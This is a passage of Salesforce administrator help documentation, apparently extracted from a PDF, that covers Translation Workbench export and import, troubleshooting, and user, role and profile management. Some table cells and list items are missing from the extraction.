Translation Workbench
6. Click Save.
See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
Although you can't edit labels or translations in a managed package, they are controlled by the developer, you can override
them with the Translation Workbench. For example, if there is a custom field in a package you'd like to change, you can
override it.
To enter overrides to managed packages:
1.
2.
3.
4.
Click Your Name > Setup > Translation Workbench > Override.
Select the Package you are overriding.
Select the Language you're entering your overrides in.
Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See
Translatable Customizations for a complete list of possible customizations.
5. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
6. Double click in the override column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need to be changed.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the SOAP API.
7. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the SOAP API.
492
Translation Workbench
8. Click Save.
See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Updating Translated Terms
When translated components are changed, the translated value is marked Out of Date. Translators are responsible for
keeping the translated terms updated.
For best results, have your translators check their translations frequently, and be sure to notify them when changes occur. You
can use the Translation Workbench Export > All feature to generate a list of all the translatable customizations and their
associated Out of Date states.
See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
493
Translation Workbench
Manage Translation
AND
Customize Application
Use Export in the Translation Workbench to create files that contain your organizations translatable custom metadata, such
as custom fields, report types, and picklist values. Send these files to your outside translators or translation agency for bulk
translation activities, then use Import to update your labels.
1. Go to Your name > Setup > Translation Workbench > Export.
2. Select which labels you want to export.
AllUsed for reference and reviewing all your untranslated and translated customizations.
Creates a list of all the translatable labels in their current translated or untranslated state.
One file is created for each language. These files are then compressed into .zip files.
The content in each file is divided into Untranslated and Translated sections. Each translatable label is in either the
Untranslated or Translated section, according to its translation state. In the Translated section, out of date status for
the labels in included.
3. Click Export.
A status message tells you that the export is being processed. When the export is complete an email is sent to the email
address specified in your profile.
4. Locate the exported .stf or .zip file.
Go to Your name > Documents > Document Folders > My Personal Documents > Go!.
All exported files indicate the Export option used to create them and are date and time stamped. Individual files end with
the extension .stf. Multiple files are grouped into .zip files.
If you have a large number of documents in your personal documents area, you'll find the exported files under the sort
letter:
494
Translation Workbench
See Also:
Setting Up the Translation Workbench
Importing Translated Files
You use the following types of files to translate customization labels and review translations:
Translation files are identified by the extension .stf, to represent the Salesforce translation format. A translation filename
includes the name of the export option used to create it, the language code for the file's content, and a date stamp.
Multiple .stf files created with the Untranslated and Bilingual options are compressed into zip files up to 5 MB in size. If
multiple zip files are needed, the zip filenames are each date stamped and incremented. For example, Untranslated
20100920 05:13 1of2.zip
495
Translation Workbench
Create one copy of the Source file for each language you are translating into.
In the header of each Source file, change the language code from the organization's default language (such as en_US) to
the translation language (such as fr).
Tell your translators to replace the untranslated values in the LABEL column with translated values.
Note: Don't add columns to or remove columns from the translation file.
Column
Description
Edit Options
KEY
Do not edit
LABEL
Column
Description
Edit Options
KEY
Do not edit
LABEL
496
Translation Workbench
Identify labels that are out of date by scrolling through the OUT OF DATE column to locate values that have an asterisk
(*). Update out of date labels as needed.
Edit translated labels in the TRANSLATION column of the TRANSLATED section.
Replace untranslated labels with translated values in the LABEL column of the UNTRANSLATED section.
Delete a translation by replacing the desired value in the TRANSLATION column in either section with a left and right
angle bracket pair (< >). When the Bilingual file is imported, the label reverts to its original value.
Attention: Don't attempt to delete a translation by deleting a translated label from the file. Deleting a translation
in the file doesn't remove the translation from the application after the file is imported.
Note: Don't add columns to or remove columns from the translation file.
Column
Description
Edit Options
KEY
Do not edit
LABEL
TRANSLATION
Current translation
497
Translation Workbench
Column
Description
Edit Options
OUT OF DATE
Do not edit
See Also:
Setting Up the Translation Workbench
Exporting Translation Files
Importing Translated Files
What languages does Salesforce support?
Manage Translation
AND
Customize Application
Use Import in the Translation Workbench to import and update the translations for your organizations custom metadata,
such as custom fields, report types, and picklist values. Typically, the original files are created through the Export feature, then
sent to your outside translators or translation agency for bulk translation activities and returned to you for importing.
1. Bundle multiple files into .zip files that are no larger than 5 MB. Create multiple .zip files as needed.
The zipped files don't have to be in the same order or grouping as the exported .zip files.
For example, you start with two exported .zip files. The first file includes French, Italian, and Japanese. The second file
includes Russian, Simplified Chinese, and Greek. You can create:
498
Translation Workbench
4. Click Import.
After the import is complete:
See Also:
Setting Up the Translation Workbench
Exporting Translation Files
Manage Translation
AND
Customize Application
Use this table to troubleshoot issues you might encounter while exporting and importing files in the Translation Workbench.
Error Message
What It Means
Troubleshooting Steps
499
Translation Workbench
Error Message
What It Means
Troubleshooting Steps
Invalid Key
During translation, Salesforce generates Export your file again and make sure the
unique keys, or identifiers, for each
keys in it match those in the file youre
object, picklist value, or page element
trying to import.
youre translating. If these names or keys
are changed after you export your file,
Salesforce cant match the correct key
with the correct name.
Key: {0} could not be uniquely resolved. One of the keys in your Custom Report Export your file again and make sure
This is caused by a change to our Custom Type (CRT) column is in the wrong
youre using the correct CRT key format.
Report Type Column key format. Please format.
re-export and use the new key format for
those keys.
Maximum character limit {x} for {field
type} translation exceeded in line:
No data to import
The file youre trying to import is empty Make sure youre importing the correct
or does not contain any translation
file, and that it contains translated data.
changes.
No language code specified in file header The file youre trying to import doesnt Make sure your language code is valid
have a valid language code, or the
and isn't missing or commented out.
language code is in the wrong place.
No translated or untranslated section
header found in the bilingual file
The file youre trying to import is missing Make sure your file has section headers
section headers.
and import it again.
No valid file type specified in file header The file youre trying to import doesnt Make sure your file has a valid
have a valid import/export type (Source, import/export type in the file header, and
Untranslated, or Bilingual) specified in that the header did not get translated.
the file header. The file type should be
in the default language for your
organization.
Not a valid file to import. Please select a You can only import files in .stf format Make sure your file is a .stf or a .zip file
.stf or a .zip file for import.
or .zip files that contain .stf files.
and try importing it again.
Wrong number of columns in line: {x}. The file youre importing has extra tabs,
Check that you have escaped tabs (\\t), newlines, or carriage returns in the line
new lines (\\n), and carriage returns (\\r) specified in the error message.
in your files.
Your import request failed. Please retry Salesforce had an unexpected problem
or contact support.
while importing your file.
500
Translation Workbench
Error Message
What It Means
Troubleshooting Steps
See Also:
Adding and Editing Translated Languages and Translators
Exporting Translation Files
Importing Translated Files
Manage Translation
To assign translators:
Manage Translation
Manage Translation
To translate terms:
To override terms:
There are multiple tasks that you can perform to globalize Salesforce.
Translating Customizations
You can translate customizations by using either the Translation Workbench or Force.com IDE.
501
User Management
If you need to translate a small number of customizations, you can use the Translation Workbench's point-and-click
interface to translate them quickly and easily. For information, see Entering Translated Terms on page 491.
If you need to translate a large number of customizations into multiple languages, we recommend that you use either of
the following tools:
The Translation Workbench Export and Import options are useful if you prefer to manage translations by using an
administrative user interface and adding translations to easy-to-use translation files. See Translation Workbench Export
and Import Quick Start Guide.
The Force.com IDE is useful if you are already using the Force.com IDE, or prefer to manage translations by using a
developer interface and adding translations to an XML file. See Localizing with the Force.com IDE.
USER MANAGEMENT
User Management Overview
The available user management options vary according to which Salesforce Edition you have.
In Salesforce, every user is identified by a username, password, and a single profile. The profile determines what tasks users
can perform, what data they see, and what they can do with the data.
Depending on your organization's Salesforce edition and the additional features your organization has purchased, you may
have user licensessuch as Marketing, Connect Offline, and Sales Anywherewhich give users the ability to access other
features that are only available with a specific user license. A user can be assigned to one or more of these licenses. You can
also set up accounts for users outside your organization who need to access a limited set of fields and objects. These user licenses
can grant access to Customer Portal, partner portal, or Self-Service. Finally, using Salesforce to Salesforce, you can create
connections to share records with other Salesforce users outside of your organization.
502
User Management
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
As an administrator, you can perform user management tasks such as creating and editing users, resetting passwords, and
creating Google Apps accounts. You can also grant permissions, create and manage other types of users, create custom fields,
set custom links, run reports on users, and delegate user administration tasks to other users.
You can control a user's access to data in several ways:
To control access to applications and objects, including fields and record types within objects, use profiles and permission
sets.
To control access to specific records, use sharing settings and rules.
See Also:
Overview of User Permissions and Access
User Profiles Overview
Permission Sets Overview
Overview of Sharing Settings
Securing Data Access
To view and manage the users in your organization, click Your Name > Setup > Manage Users > Users. The user list shows
all the users in your organization, partner portal, and Salesforce Customer Portal. From the user list, you can:
Show a filtered list of users by selecting a list from the View drop-down list.
Edit or create custom list views. For example, create a view with search criteria of Profile Name equals Read Only to
show all users with the Read Only profile.
Create one user.
Create multiple users.
Reset passwords for selected users.
Edit a user.
View a user's detail page by clicking the name, alias, or username.
View or edit a profile by clicking the profile name.
Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization).
503
User Management
Enabling the Customer Portal for Contacts and Person Accounts on page 205
Self-Service for Contacts and Person Accounts on page 202
Creating Partner Users on page 3492
You can create custom fields for users and set custom links to display on the user detail page. To access these options, click
Your Name > Setup > Customize > Users.
You can use the sidebar search to search for any user in your organization, regardless of the user's status. However, when
using a lookup dialog from fields within records, the search results return only active users. You can also run user reports
in the Reports tab.
To simplify user management in organizations with large numbers of users, delegate aspects of user administration to
non-administrator users.
Note: You cannot delegate administrative duties related to your organization to partner portal or Customer Portal
users. However, you can delegate some portal administrative duties to portal users.
See Also:
Expiring Passwords
Deactivating Users
Logging In as Another User
Granting Checkout Access
Setting Quotas for Customizable Forecasting
Assigning Users to Roles
User Fields
Editing Your Personal Information
About Customer Portal User Management
Manage Users
The maximum number of users you can create is determined by your Edition.
To create a new user for your organization:
1. Click Your Name > Setup > Manage Users > Users.
2. Click New User.
504
User Management
3. Enter the users first name, last name, and email address. The email address becomes the username.
Note: If the user's name includes non-English characters, the user must add the specified language to the mail
format settings within Outlook if viewing email in Outlook.
4. In Professional, Enterprise, Unlimited, and Developer Editions, select a Role. Depending on your organizations sharing
settings, roles can specify the level of visibility that users have into your organizations data. For more information, see
Overview of Roles on page 515.
5. Select a User License. The profiles available to you depend on the user license you choose.
Note:
Some options become unavailable depending on the license type you choose. For example, the Marketing
User and Allow Forecasting options are not available for Force.com user licenses because the Forecasts
and Campaigns tabs are not available to users with a Force.com license. Force.com user licenses are not available
for Professional, Group, or Contact Manager Editions.
You can change a Salesforce license to a Force.com license, but you cant change a Force.com license to a
Salesforce license. For more details, see Understanding User License Types on page 602.
6. Select a profile, which specifies the user's minimum permissions and access settings. For more information, see User Profiles
Overview on page 521.
7. Select the other options and enter the remaining user information as needed. For more information on the options and
fields, see User Fields on page 32.
8. If your organization has Approvals enabled, you can set the user's approver settings, such as delegated approver, manager,
and preference for receiving approval request emails.
9. In Unlimited, Enterprise and Developer Edition organizations, you can select Send Apex Warning Emails to send
email to the user when an application that invokes Apex uses more than half of the resources specified by the governor
limits. This feature can be used during Apex code development to test the amount of resources being used at runtime. For
more information, see Apex Code Overview on page 1994.
10. Check Generate new password and notify user immediately to have the users login name and a temporary
password emailed to the new user.
To create other types of users:
For Salesforce Customer Portal users, see Enabling the Customer Portal for Contacts and Person Accounts on page 205.
For Self-Service portal users, see Self-Service for Contacts and Person Accounts on page 202.
For partner users, see Creating Partner Accounts on page 3489.
See Also:
Salesforce Editions and Limits
Editing Users
Adding Multiple Users
Deactivating Users
Viewing and Managing Users
Setting Up Your Customer Portal
Setting Up Self-Service
505
User Management
Manage Users
The maximum number of users you can create is determined by your Edition.
The Add Multiple Users page provides a way to quickly add users to your organization. Depending on the number of available
licenses, you can create up to 10 users. With this page, you specify the minimum information needed. Once youve created
the users, edit individual users to specify more details for each one.
To add multiple users:
1. Click Your Name > Setup > Manage Users > Users.
2. Click Add Multiple Users.
3. If multiple user license types are available in your organization, select the user license you want to associate with the users
youll create. The user license determines the available profiles. If only one type of license is available, its automatically
selected.
4. Specify the information for each user.
Field
Description
First Name
Last Name
Profile
Role
5. Select Generate passwords and notify user via email to email a login name and temporary password to each
new user.
506
User Management
6. Click Save.
See Also:
Editing Users
Understanding User License Types
Salesforce Editions and Limits
Adding a Single User
Editing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
If you change a users email address and Generate new password and notify user immediately is deselected,
a confirmation message will be sent to the new email address that you entered. The user must click the link provided
in that message for the new email address to take effect. This process ensures system security. When generating a new
password for a user, the new password is automatically sent to the users email address and email verification is not
enforced.
If you change a user's username, a confirmation email with a login link is sent to the email address associated with that
user account. If the user has problems logging into future sessions, they can use the link in the email. Problems might
occur because an organization could have multiple login servers. It may take up to 24 hours for the username change
to replicate to all of them. The link in the email connects directly to the server where the actual username change was
made. This ensures that users can always log in, even if server replication is slow.
Click Unlock to unlock a user that is locked out of Salesforce. This button is only available when a user is locked out.
If your organization has managed packages installed, click Assign Licenses to assign a package license to the user.
Click Remove to remove a license assigned to the user.
Click Grant Checkout Access to grant the user access to Checkout.
4. Click Save.
507
User Management
Note:
Users can change or add to their own personal information after they log in.
Administrators can restrict the domain names of users email addresses to a list of explicitly allowed domains. Any
attempts to set an email address with another domain will result in an error message. Contact salesforce.com to
enable this functionality for your organization.
See Also:
Assigning Users to Roles
Resetting Passwords
Viewing and Managing Users
Understanding User License Types
About Customer Portal User Management
To view the public groups a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In
the Public Group Membership related list, you can:
See Also:
About Groups
508
User Management
To view the queues a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In the
Queue Membership related list, you can:
See Also:
Managing Queues
Deactivating Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
You can't completely delete users from the system, but you can deactivate their logins so that they can no longer use the service.
1. Click Your Name > Setup > Manage Users > Users.
2. Click Edit next to a users name.
3. Deselect the Active checkbox and click Save.
If the user is a member of account, sales, or case teams, Salesforce prompts you to remove the user from those teams.
Tips on Deactivating Users
Consider the following when deactivating users:
Deactivated users lose access to any records that were manually shared with them, or records that were shared with them
as team members. However, you can still transfer their data to other users and view their names on the Users page.
Deactivated users are removed from the default sales and account teams of other users. The deactivated users' default sales
and account teams are not removed.
If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case
Access) and is deactivated, the access will default to Read Only if the user is reactivated.
509
User Management
Deactivated users continue to own opportunities and appear in forecasts and territories. When users are deactivated, their
opportunity forecast overrides, adjusted total overrides, and manager's choice overrides on subordinates' forecasts are frozen.
However, the manager of a deactivated user can apply manager's choice overrides to that user's forecasts. Rollup amounts
are kept current. If a deactivated user is later reactivated, the user can resume normal work as before. If Allow Forecasting
is disabled for a user who is deactivated, the user is removed from any territories her or she is assigned to. For more
information on territories, see Territory Management Overview on page 2638.
A deactivated user doesn't count against your organizations available user licenses. However, deactivating a user doesn't
reduce the number of licenses for which your organization is billed; you must change your organizations license count to
change your billing. See Adding or Subtracting User Licenses on page 3507.
You can't deactivate a user selected as a Customer Portal Administrator. For more information, see Enabling Customer
Portal Login and Settings on page 1671.
You can't deactivate a user selected in a custom hierarchy field even if you delete the field. You must delete and permanently
erase the field first. For more information, see Managing Deleted Custom Fields on page 1105.
When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove
the portal user from any teams that user is a member of.
If opportunity splitting is enabled and a user is deactivated, the user is not removed from any opportunity sales teams on
which the user is assigned a split percentage. To remove the user from the opportunity sales team, you must first reassign
the split percentage. For more information on assigning split percentages to sales team members, see Adding Sales Team
Members on page 2635.
If Chatter is enabled and you deactivate a user, the user is removed from Following and Followers lists. If you reactivate
the user, the subscription information in the Following and Followers lists is restored.
Subscription information cant be restored if you deactivate multiple users that are following each other. For example, user
A follows user B and user B follows user A. If you deactivate user A and user B, their subscription information to each
other is deleted from Following and Followers lists and cant be restored if you reactivate the users.
It's possible for inactive users to be listed as Created By users even though they are no longer active in an organization.
This can happen because some system operations create records and toggle preferences, acting as an arbitrary administrator
user in your organization to complete the task. This user may be active or inactive.
You cant deactivate a user if theyre assigned as the sole recipient of a workflow email alert.
See Also:
Mass Transferring Records
Adding a Single User
Editing Users
Viewing and Managing Users
Disabling and Deactivating Portal Users
510
User Management
Resetting Passwords
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Only an administrator can reset Single Sign-On user passwords; Single Sign-On users cannot reset their own passwords.
For information about Single Sign-On, see About Single Sign-On on page 671.
Resetting users' passwords, might cause them to activate their computers to successfully log in to Salesforce. For more
information, see Activating Your Computer on page 44.
Resetting locked-out users' passwords automatically unlocks their accounts as well.
When users lose their passwords, they can click the Forgot your password? link on a failed login page to receive a new
password via email. They must correctly answer a previously defined security question before they can reset their password
and log in. You can customize part of the page where the user answers the security question with additional information
about where to go to for help. See Setting Password Policies on page 665.
Note: If the user has not defined a security question, or fails to answer correctly when trying to login, the password
is not reset.
See Also:
Expiring Passwords
Viewing and Managing Users
511
User Management
Expiring Passwords
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
To expire passwords for all users, except those with the Password Never Expires permission:
1. Click Your Name > Setup > Security Controls > Expire All Passwords.
2. Select the Expire all user passwords checkbox.
3. Click Save.
The next time each user logs in, he or she will be prompted to reset his or her password.
Tips on Expiring Passwords
Consider the following when expiring passwords:
After you expire passwords, users might need to activate their computers to successfully log in to Salesforce. See Activating
Your Computer on page 44.
You can expire passwords for all users any time you want to enforce extra security for your organization. For more options
you can set to ensure password security, see Setting Password Policies on page 665.
See Also:
Resetting Passwords
To assist other users, administrators can log in to Salesforce as another user. Depending on your organization settings, individual
users may need to first grant login access to administrators.
To log in as another user:
1. Click Your Name > Setup > Manage Users > Users.
512
User Management
2. Click the Login link next to the user name. This link is only available for users who have granted login access to an
administrator, or in organizations where administrators can log in as any user.
3. Click Users Name > Logout to return to your administrator account.
Note: You can also log in as another user from the user detail page and the Users in Role list page.
See Also:
Viewing and Managing Users
Manage Billing
To edit users:
Manage Users
Users with the Manage Billing permission have access to Checkout when it is enabled for your organization. These users
can also grant access to other users within your organization. Users with Checkout access can purchase Salesforce licenses,
AppExchange app licenses, and other related products. Additionally, within Checkout, users can view the organization's
quotes, installed products, orders, invoices, payments, and contracts.
To give a user access to Checkout:
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Users.
Click on the appropriate user's name to open the user detail page.
Click Edit.
Select the Checkout Enabled checkbox. The user is notified by email when his or her Checkout account is activated
and available for login.
513
User Management
Manage Users
Users with the appropriate permission can set their individual quota. Administrators and users with the appropriate permission
can always edit any quota, and managers can always change the quotas of users that report directly to them in the role hierarchy.
1. To set your personal quota, click Your Name > Setup > My Personal Information > Personal Information. To change
the quota of a user that reports to you, click Your Name > Setup > Manage Users > Users, and select the appropriate user.
2. Click Edit in the Quotas related list.
3. Select the appropriate range start and range length. If available, select a territory and product family.
Note: If your organization uses custom fiscal years, you cannot set quotas for a period that does not have a defined
fiscal year.
4. Enter the quota amounts for revenue and/or quantity.
5. Select the appropriate currency if you work with more than one currency.
6. Click Save to save the quota and return to the user detail page, or click Quick Save to save the values and continue to edit
the quota.
Tip: Using Quick Save allows you to quickly set a different quota for each product family.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 2502. For
information on setting quotas if you do not have customizable forecasting, see Adding and Editing Quotas on page
46.
You can also use tools like the Data Loader to do mass updates on quotas. When updating quotas, set the quota field value
on the RevenueForecast or QuantityForecast objects.
See Also:
Viewing and Managing Users
514
User Management
Overview of Roles
Overview of Roles
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
Manage Users
Depending on your sharing settings, roles can control the level of visibility that users have into your organizations data. Users
at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless
your organizations sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related
list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted
access by the organization-wide defaults receive access to the object's records.
Note: The following information applies to roles for your organization's users. For information about roles for partner
users and Salesforce Customer Portal users, see About Partner Portal Channel Manager User Management on page
3486 and About Customer Portal User Management on page 1696.
To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then
edit the role fields as needed. You can create up to 500 roles for your organization.
To edit a role, click Edit next to a role name, then update the role fields as needed.
To delete a role, click Delete next to the role name.
To assign other users to a role, click Assign next to the role name.
To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify
category visibility settings on the role detail page.
515
User Management
Overview of Roles
Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to
manage users in specified roles and all subordinate roles.
Notes on Roles
Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other
displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather
than the role hierarchy.
All users that require visibility to the entire organization should belong to the highest level in the hierarchy.
It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles
to control access of information entered by users in lower level roles.
When you change a users role, any relevant sharing rules are evaluated to add or remove access as necessary.
When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the
organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is
No Access.
Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.
See Also:
Viewing and Editing Roles
Setting Up Your Customer Portal
Managing Data Categories
Salesforce Knowledge Overview
Manage Users
To view users:
To edit users:
Manage Users
To view detailed information about a role, click Your Name > Setup > Manage Users > Roles, and click the role name.
In the Role Detail related list:
To view the role detail page for a parent or sibling role, click the role name in the Hierarchy or Siblings list.
To edit the role details, click Edit.
To remove the role from the hierarchy, click Delete.
516
User Management
Overview of Roles
See Also:
Recalculating Sharing Rules
Overview of Roles
Role Fields
Managing Data Categories
Manage Users
3. Make a selection from the drop-down list to show the available users.
4. Select a user on the left, and click Add to assign the user to this role.
517
User Management
Overview of Roles
Note: Removing a user from the Selected Users list deletes the role assignment for that user.
See Also:
Role Fields
Overview of Roles
Viewing and Editing Roles
Role Fields
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
The following fields (listed in alphabetical order) make up a role entry. Some of these fields may not be visible or editable
depending on your organization's permissions and sharing settings.
Field
Description
Case Access
Specifies whether users can access other users cases that are
associated with accounts the users own. This field is not visible
if your organizations sharing model for cases is Public
Read/Write.
Contact Access
Label
Modified By
The name of the user who last modified this role's details, and
the date and time that the role was modified.
Opportunity Access
518
User Management
Overview of Roles
Field
Description
Partner Role
Role Name
Sharing Groups
See Also:
Assigning Users to Roles
Overview of Roles
519
User Management
Overview of Roles
To edit users:
Manage Users
For each role in your hierarchy Salesforce automatically creates sharing groups, which you can use in sharing rules and manual
sharing:
If territory management is enabled for your organization, each territory has sharing groups:
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Edit next to a username to edit the user information.
Click Login next to a username to log in as that user. This link is only available for users who have granted login access
to an administrator, or in organizations where administrators can log in as any user.
See Also:
Role Fields
520
User Management
To edit users:
Manage Users
The Users in Role list page displays a list of users assigned to the selected role. From this page, you can view detailed user
information, edit users, and access other related information.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Edit next to a user name to edit the user information.
Click Login next to a user name to log in as that user. This link is only available for users who have granted login access
to an administrator, or in organizations where administrators can log in as any user.
See Also:
Overview of Roles
A profile contains user permissions and access settings that control what users can do within their organization.
Depending on which profile user interface is enabled in your organization, you can:
521
User Management
In Contact Manager, Group, and Professional Edition organizations, you can assign standard profiles to your users, but you
can't view or edit the standard profiles or create custom profiles. In Enterprise, Unlimited, and Developer Edition organizations,
you can use standard profiles, or create, edit, and delete custom profiles. For standard profiles, only certain settings can be
changed.
Each standard or custom profile belongs to exactly one user license type.
See Also:
Overview of User Permissions and Access
Standard Profiles
Understanding User License Types
Cloning Profiles
Standard Profiles
The standard profiles available vary according to the Edition you have.
There are standard profiles in every organization. In Enterprise, Unlimited, and Developer Edition, you can use standard
profiles or create, edit, and delete custom profiles. In organizations where you can't create custom profiles (such as Contact
Manager, Group, and Professional Edition), you can assign standard profiles to your users, but you can't view or edit them.
Profile Name
Available Permissions
System Administrator
522
User Management
Profile Name
Available Permissions
Standard User
Can create and edit most major types of records, run reports,
and view the organization's setup. Can view, but not manage,
campaigns. Can create, but not review, solutions. Can edit
personal quota and override forecasts.
Partner User
and
Authenticated Website
Both user licenses are high-volume portal users
Customer Portal User
Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.
Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.
Solution Manager
Can review and publish solutions. Also has access to the same
functionality as the Standard User.
Marketing User
Contract Manager
Read Only
Can view the organization's setup, run and export reports, and
view, but not edit, other records.
523
User Management
Profile Name
Available Permissions
Can only log into Chatter and access groups they've been
invited to and interact with members of those groups. Only
available with the Chatter External user license.
Can only log in to the Site.com app. Each Site.com Only user
also needs a Site.com Publisher feature license to create and
publish sites, or a Site.com Contributor feature license to edit
the site's content. See Setting Up Site.com Users on page 2259.
Additionally, this user can:
524
User Management
Profile Name
Available Permissions
Only available with the Site.com Only user license.
See Also:
User Profiles Overview
About Customer Portal User Management
Overview of User Permissions and Access
Manage Users
Manage Users
AND
Customize Application
A profile contains user permissions and access settings that control what users can do within their organization. To view the
profiles in your organization, click Your Name > Setup > Manage Users > Profiles.
Viewing Enhanced Profile Lists
If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage,
and print profile lists.
Show a filtered list of profiles by selecting a view from the drop-down list.
Delete a view by selecting it from the drop-down list and clicking Delete.
Create a list view or edit an existing view.
Create a profile.
Print a list view.
Refresh the list view after creating or editing a view by clicking
Edit permissions directly in the list view.
View or edit a profile by clicking its name.
Delete a custom profile by clicking Del next to its name.
525
User Management
Create a profile.
View or edit a profile by clicking its name.
Delete a custom profile by clicking Del next to its name.
See Also:
User Profiles Overview
Creating and Editing Profile List Views
Working in the Enhanced Profile User Interface Overview Page
Working with Profiles in the Original Profile Interface
Customizing User Interface Settings
Manage Users
If enhanced profile list views are enabled for your organization, you can create profile list views to show a set of profiles with
the fields you choose. For example, you could create a list view of all profiles in which Modify All Data is enabled.
1. In the Profiles page, click Create New View, or select a view and click Edit.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals
True.
a.
b.
c.
d.
4. Under Select Columns to Display, specify the profile settings that you want to appear as columns in the list view.
a. From the Search drop-down list, select the type of setting you want to search for.
b. Enter part or all of a word in the setting you want to add and click Find.
Note: If the search finds more than 500 values, no results appear. Use the preceding steps to refine your search
criteria and show fewer results.
c. To add or remove columns, select one or more column names and click the Add or Remove arrow.
526
User Management
d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
You can add up to 15 columns in a single list view.
5. Click Save, or if you're cloning an existing view, rename it and click Save As.
See Also:
User Profiles Overview
Editing Multiple Profiles with Profile List Views
Viewing Profile Lists
Deleting List Views
Manage Users
AND
Customize Application
AND
Mass Edits from Lists
If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from
the list view, without accessing individual profile pages. Editable fields display a pencil icon ( ) when you hover over the field,
while non-editable fields display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears but the
setting is not actually editable.
Caution: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making
mass changes may have a widespread effect on users in your organization.
To change permissions in one or more profiles:
1. Select or create a list view that includes the profiles and permissions you want to edit.
2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages,
Salesforce remembers which profiles are selected.
3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected
profiles.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if Customize Application and View Setup and Configuration are disabled and you
enable Customize Application, then View Setup and Configuration is also enabled. In this case, the dialog box lists
the affected permissions.
527
User Management
5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.
Note:
For standard profiles, inline editing is available only for the Single Sign-On and Affected By Divisions
permissions.
If you edit multiple profiles, only those profiles that support the permission you are changing will change. For
example, if you use inline editing to add Modify All Data to multiple profiles, but because of its user license the
profile doesn't have Modify All Data, the profile won't change.
If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name
to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser
allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview
Reminder Alert.
Any changes you make are recorded in the setup audit trail.
See Also:
Viewing Profile Lists
Cloning Profiles
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Manage Users
Tip: If youre cloning a profile to enable certain permissions or access settings for one or more users, you might be
able to enable those permissions or access settings using permission sets. For more information, see Permission Sets
Overview.
1. Click Your Name > Setup > Manage Users > Profiles.
2. In the Profiles list page, do one of the following:
Click New Profile, then select an existing profile thats similar to the one you want to create.
If enhanced profile list views are enabled, click Clone next to a profile thats similar to the one you want to create.
Click the name of a profile thats similar to the one you want to create, then in the profile page, click Clone.
A new profile uses the same user license as the profile it was cloned from.
3. Enter a profile name.
528
User Management
4. Click Save.
See Also:
User Profiles Overview
Manage Users
To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile
user interface) or View Users (in the original profile user interface). From the assigned users page, you can:
See Also:
User Profiles Overview
